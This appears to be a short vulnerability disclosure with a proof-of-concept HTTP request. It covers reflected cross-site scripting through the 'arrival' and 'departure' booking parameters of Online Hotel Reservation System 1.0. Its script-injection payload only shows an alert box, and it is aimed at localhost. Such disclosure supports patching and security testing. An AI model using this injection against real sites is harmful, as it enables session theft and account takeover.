Online Hotel Reservation System 1.0 - 'Multiple' Cross-site scripting (XSS)

# Exploit Title: Online Hotel Reservation System 1.0 - 'Multiple' Cross-site scripting (XSS)
# Date: 2021-08-02
# Exploit Author: Mohammad Koochaki
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/marimar.zip
# Version: 1.0
# Tested-on: Ubuntu 20.04.2 LTS, PHP 7.4.3

### This application is prone to a cross-site scripting in the 'arrival' and 'departure' parameters at the following path:
        - http://localhost/marimar/index.php?p=booking

### Payload: "></div><script>alert("XSS-MSG")</script>

### PoC:

POST /marimar/index.php?p=booking HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/marimar/index.php?p=booking
Cookie: PHPSESSID=9ck943m19rugu8d7q7d6mh6fnt
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

arrival="></div><script>alert("arrival")</script>&departure="></div><script>alert("departure")</script>&person=0&accomodation=0